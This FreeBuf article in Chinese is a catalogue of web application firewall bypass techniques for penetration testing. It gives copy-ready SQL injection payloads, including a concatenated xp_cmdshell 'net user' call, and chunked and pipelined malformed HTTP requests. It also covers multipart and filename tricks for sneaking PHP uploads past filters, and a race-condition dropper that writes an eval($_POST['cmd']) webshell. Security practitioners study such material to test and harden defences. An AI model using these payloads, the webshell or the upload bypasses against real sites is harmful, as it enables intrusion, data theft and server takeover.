freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透攻防之WAF绕过
2023-10-22 16:39:09
所属地 海外

1.双写注入绕过

将and双写为anandd

1697963374_6534dd6eb91612c0ac72b.png!small?1697963375965

2.大小写绕过

1697963387_6534dd7ba062479473e7d.png!small?1697963388658


3.脏数据绕过

即传入一段长数据使waf失效,从而实现绕过waf。某些waf处理POST的数据时,只会检测开头的8K,后面选择全部放过。

例如,当发现某网站存在一个反序列化漏洞时,但是无回显,被waf拦截了

1697963396_6534dd8415bf36190254f.png!small?1697963397153

利用脏数据插入5000个x字符,可以成功绕过:

1697963402_6534dd8a0ca02d624cc47.png!small?1697963402997


4.复参数绕过(&id=)

例如一个请求:

GET /pen/news.php?id=1 union select user,password from mysql.user

可以修改为:

GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user

很多WAF都可以这样绕,测试最新版WAF能绕过部分语句。

5.高并发绕过

对请求进行并发,攻击请求会被负载均衡调度到不同节点,导致某些请求绕过了waf的拦截

1697963408_6534dd90941585922bb18.png!small?1697963410574

6.特殊字符替换空格

用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的WAF,在sqlserver中可以用/**/代替空格,也可以使用如下方法:

http://192.168.60.68/sql.php?id=1/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5

http://192.168.60.68/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2

特殊字符有:mysql:%0a/**/可以绕过最新版本WAF      sqlerver: /**/

/*|%23--%23|*/

1697963415_6534dd974cf947abf8209.png!small?1697963416105


/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5

这条语句不行,看一下防护日志,是因为把uaer函数加入黑名单啦。替换user即可。

1697963421_6534dd9d8f58ba3652910.png!small?1697963423617

7.使用其他变量或者命令对注入语句进行替换

COMMAND | WHAT TO USE INSTEAD

version()| @@version

concat() | concat_ws()

group_concat() | concat_ws()

= | like

1| MOD(8,7)

1697963428_6534dda40217d98380460.png!small?1697963429825

8.HTTP参数污染

在 php 语言中 id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性。可以利用这点绕过一 些 waf 的拦截。

1697963435_6534ddab61931557e61ed.png!small?1697963437307

9.特殊字符拼接(+)

把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接。

如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')

可以改为:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')

10.数据格式混淆

利用数据格式解析缺陷,存在两种提交表单数据的请求类型

application/x-www-form-urlencoded

multipart/form-data 支持key-Value方式

1697963486_6534dddee32d22be7c4c5.png!small?1697963488290

可以修改提交格式:

1697963492_6534dde4750baa9e5b451.png!small?1697963493412

这两种方式提交数据的效果是一样的。

当然,除了这种方式外一些其他方式也可能绕过waf,例如将传入json数据,将其修改为HTTP请求,或者修改content-type等方式(当然是在应用能够正常解析的前提下)

11.编码绕过

对请求数据进行编码,例如url编码,Unicode编码等,如果waf对数据不能有效的解码,而应用后端能够正常解码,就可以绕过waf。

例如最常见的url编码,对数据进行二次url编码,waf进行一次解码并不能解析到有效的数据,而后端在进行解码时传入的为有效的恶意数据。

1697963500_6534ddec92e007ae39af5.png!small?1697963501467

将id=1 and 1=1 写为 id=1/*!and*/1=1

1697963507_6534ddf3189b3d5712954.png!small?1697963508466

12.利用WAF本身的功能绕过

把"*"替换为空

例:uni*on+sel*ect+1,2,3,4....

假如发现WAF会把"*"替换为空,那么就可以利用这一特性来进行绕过‍‍http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....

其它方法-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)

13.利用http协议绕过waf

分块传输绕过waf

先在数据包中添加Transfer-Encoding: chunked

数字代表下一列字符所占位数,最后需要用0独占一行表示结束,结尾需要两个回车

在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。这时,post请求报文中的数据部分需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的,也不包括分块数据结尾的,且最后需要用0独占一行表示结束。

注意:分块编码传输需要将关键字and,or,select ,union等关键字拆开编码,不然仍然会被waf拦截。编码过程中长度需包括空格的长度。最后用0表示编码结束,并在0后空两行表示数据包结束,不然点击提交按钮后会看到一直处于waiting状态。

例如:

………………

Connection: close

Upgrade-Insecure-Requests: I

ontent-Type: application/x-www-form-urlencoded

Content-Length: 50

1697963521_6534de013e75ef0f99bda.png!small?1697963522589

畸形包绕过(pipline绕过)

原理:

http协议是由tcp协议封装而来,当浏览器发起一个http请求时,浏览器先和服务器建立起连接tcp连接,然后发送http数据包(即用burpsuite截获的数据),其中包含了一个Connection字段,一般值为close,apache等容器根据这个字段决定是保持该tcp连接或是断开。当发送的内容太大,超过一个http包容量,需要分多次发送时,值会变成keep-alive,即本次发起的http请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。

  • 先关闭burpsuite长度更新,为get请求,先使用bp的method转换为POST请求
  • get请求中空格使用%20代替,Connection改为keep-alive

点击burp中Repeater,在下拉选项中取消update Content-Length选中。

例如:

POST /sqlinject.php Http/1.0

Host:127001

User-Agent: Mozilla/5.0(Windows NT 10.0: WOW64; rv: 65.0) Gecko/20100101

Firefox/65.0

Accept: text/htmL, application/xhtml+xml, application/xml; q=0.9, image/webp. */ q=0.8

Accept-Language: en-US,en:q=0.5

Referer:http://127.0.0.1/sqlinjectphp?id=1

Content-Type: application/x-www-form-urlencoded

Content-Length: 4

Connection:keep-alive

Upgrade-Insecure-Requests: 1

id=1post/sqlinjeCt.php Http/1.0

Host:127.00.1

User-Agent: Mozilla/5.0 (Windows NT 10.0: WOw64: rv: 65.0) Gecko/2010010

Firefox/65.0

Accept: text/htmL application/xhtml+xmL application/xml q=0.9, image/webp. * q=0.8

Accept-Language: en-US, en, q=0.5

Referer:http://127.0.0.1/sqlinjectphp?id=1

Content-Type: application/x-www-form-urlencoded

Content-Length: 12

Connection: close

pgrade-Insecure-Requests: 1

d=l and 1=1

然后你会收到两个返回包,不过这种方法有可能被waf给拦截

1697963545_6534de1984eb8845c6796.png!small?1697963547344

协议覆盖

原理:

HTTP头里的Content-Type一般有application/x-www-form-urlencoded,multipart/form-data,text/plain三种,其中multipart/form-data表示数据被编码为一条消息,页上的每个控件对应消息中的一个部分。所以,当waf没有规则匹配该协议传输的数据时可被绕过。

将头部Content-Type改为multipart/form-data; boundary=69 然后设置分割符内的Content-Disposition的name为要传参数的名称。数据部分则放在分割结束符上一行。由于是正常数据提交,数据是能被apache容器正确解析的,尝试1 and 1=1也会被某狗waf拦截,但如果其他waf没有规则拦截这种方式提交的数据包,那么同样能绕过。

POST /sQlinJect php Http/1.0

User-Agent: Mozilla/5.0 (Windows NT 10.0: WOW64; rv 650)Gecko /20100101 Firefox/65.0

Accept: text/htmL, application/xhtml+xmL, application/xmL: q=0.9, image/webp, */* q=0.8

Accept-Language: en-US, en: q=0.5

Referer:http://127.0.0.1/sqlinject.php?id

Content-Type: multipart/form-data; boundary=69

Content-Length: 60

Connection close

Upgrade-Insecure-Requests:1

--69

Content-Disposition: form-data; name="id"

1

--69--

14.请求方式转换

过滤了get但是没有过滤post、cookie。waf默认是关闭的

1697963558_6534de26a838c3f2c899f.png!small?1697963559564

waf 在对危险字符进行检测的时候,分别为 post 请求和 get 或者其它的请求方式设定了不同的匹配规则,请求被拦截,变 换请求方式有几率能绕过检测

例如:

1697963565_6534de2ded739bed1d271.png!small?1697963566942

或者修改为其它允许的方式,例如options, head等提交方式。

15.文件上传绕过

1) 等号绕过

在filename后多添加两个等号

1697963573_6534de3565065c62868a5.png!small?1697963575025


2) 换行绕过

在文件后缀名处换行

1697963580_6534de3c8b062991cb785.png!small?1697963581492

3) 填充垃圾字符

有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。此种情况可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验。

在Content-Disposition字段后添加垃圾数据,来绕过对文件名的校验

1697963591_6534de47ae8202a083dca.png!small?1697963593151

当然也可以将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验。

4) NTFS ADS特性绕过

ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果waf对请求正文的filename匹配不当的话可能会导致绕过。

1697963598_6534de4ebf9f634edd6e2.png!small?1697963599996

5) 利用WAF的缺陷

  • 在恶意代码前加垃圾数据;
  • 在数据包前加垃圾数据;
  • 在Content-Disposition参数后面加垃圾数据;
  • 多加一个filename;
  • 更改HTTP请求方法;
  • 删除实体里面的Conten-Type字段;第一种是删除Content整行,第二种是删除C后面的字符。删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着php。
  • 删除Content-Disposition字段里的空格
  • 增加一个空格
  • 修改Content-Disposition字段值的大小写
  • 文件名后缀处回车
  • 多个Content-Disposition

6) 双文件上传

本意为上传两个或多个文件去突破,上传点支持多文件上传,但是却只对第一个文件做了过滤。

利用方式:

在存在双文件上传漏洞的页面中,查看上传的页面。F12找到上传的post表单,action属性是指定上传检测页面,一般是写的绝对路径,比如:xxx.asp/xxx.php

补全url:https://www.xxx.com/xxx.php(asp)

构造本地post提交表单

<form action="https://www.xxx.com/xxx.asp(php)" method="post"

name="form1" enctype="multipart/form‐data">

<input name="FileName1" type="FILE" class="tx1" size="40">

<input name="FileName2" type="FILE" class="tx1" size="40">

<input type="submit" name="Submit" value="上传">

</form>

利用时只需要修改action的值为指定上传页面即可

第一个文件上传允许的文件类型(.jpg .png .gif 等),第二个上传文件是一句话木马或者WebShell脚本。这样就可以突破上传限制,成功上传木马到服务器。

例如:

------WebKitFormBoundaryj1oRYFW91eaj8Ex2

Content-Disposition: form-data; name="file_x"; filename="test.txt"

Content-Type: text/javascript

------WebKitFormBoundaryj1oRYFW91eaj8Ex2

Content-Disposition: form-data; name="file_x"; filename="test.php"

Content-Type: text/javascript

最后上传的文件是test.php而非test.txt,但是取的文件名只取了第一个就会被Bypass。

7) 条件竞争上传

一些网站上传文件的逻辑时先允许上传任意文件,然后检查上传文件的文件是否包含WebShell脚本,如果包含则删除该文件。这里存在的问题是文件上传成功后和删除文件之间存在一个短暂的时间差(因为需要执行检查文件和删除文件的操作),攻击者可以利用这个时间差完成竞争条件的上传漏洞攻击。

攻击者需要先上传一个WebShell脚本1.php,1.php的内容为生成一个新的WebShell脚本shell.php,1.php写入如下代码

<?php

fputs(fopen("../shell.php", "w"),'<?php @eval($_POST['cmd']); ?>');

?>

当1.php上传完成后,客户端立即访问1.php,则会在服务端当前目录下自动生成shell.php,这时攻击者就利用了时间差完成了WebShell的上传。

8) 特性

多个filename

早期版本安全狗,可以多加一个filename

Content-Disposition: form-data; name="file_x"; filename="test.txt"; filename="test.php"

最终上传成功的文件名是test.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个。

交换name和filename的顺序

规定Content-Disposition必须在最前面,所以只能交换name和filename的顺序。有的WAF可能会匹配name在前面,filename在后面,所以下面姿势会导致Bypass。

Content-Disposition: form-data; filename="xx.php"; name=file_x

去掉引号,双引号变成单引号

Content-Disposition: form-data; name=file_x; filename="xx.php"

Content-Disposition: form-data; name=file_x; filename=xx.php

Content-Disposition: form-data; name="file_x"; filename=xx.php

Content-Disposition: form-data; name='file_x'; filename='xx.php'

单引号、双引号、不要引号,都能上传。

大小写

对这三个固定的字符串进行大小写转换

Content-Disposition

name

filename

空格

在: ; =添加1个或者多个空格。

去掉或修改Content-Disposition值

有的WAF在解析的时候,认为Content-Disposition值一定是form-data,造成绕过。

Content-Disposition: name='file_x'; filename='xx.php'

多个boundary

最后上传的文件是test.php而非test.txt,但是取的文件名只取了第一个就会被Bypass。

------WebKitFormBoundaryj1oRYFW91eaj8Ex2

Content-Disposition: form-data; name="file_x"; filename="test.txt"

Content-Type: text/javascript

------WebKitFormBoundaryj1oRYFW91eaj8Ex2

Content-Disposition: form-data; name="file_x"; filename="test.php"

Content-Type: text/javascript

多个分号

文件解析时,可能解析不到文件名,导致绕过。

Content-Disposition: form-data; name="file_x";;; filename="test.php"

Header在boundary前添加任意字符

PHP支持,JAVA报错

Content-Type: multipart/form-data; bypassboundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2

filename换行

PHP支持,Java不支持

Content-Disposition: form-data; name="file_x"; file

name="test.php"

name和filename添加任意字符串

PHP支持,Java不支持

Content-Disposition: name="file_x"; bypass waf upload; filename="test.php";

POST/GET

有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。

此种情况可以上传一个POST型的数据包,抓包将POST改为GET。

# 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录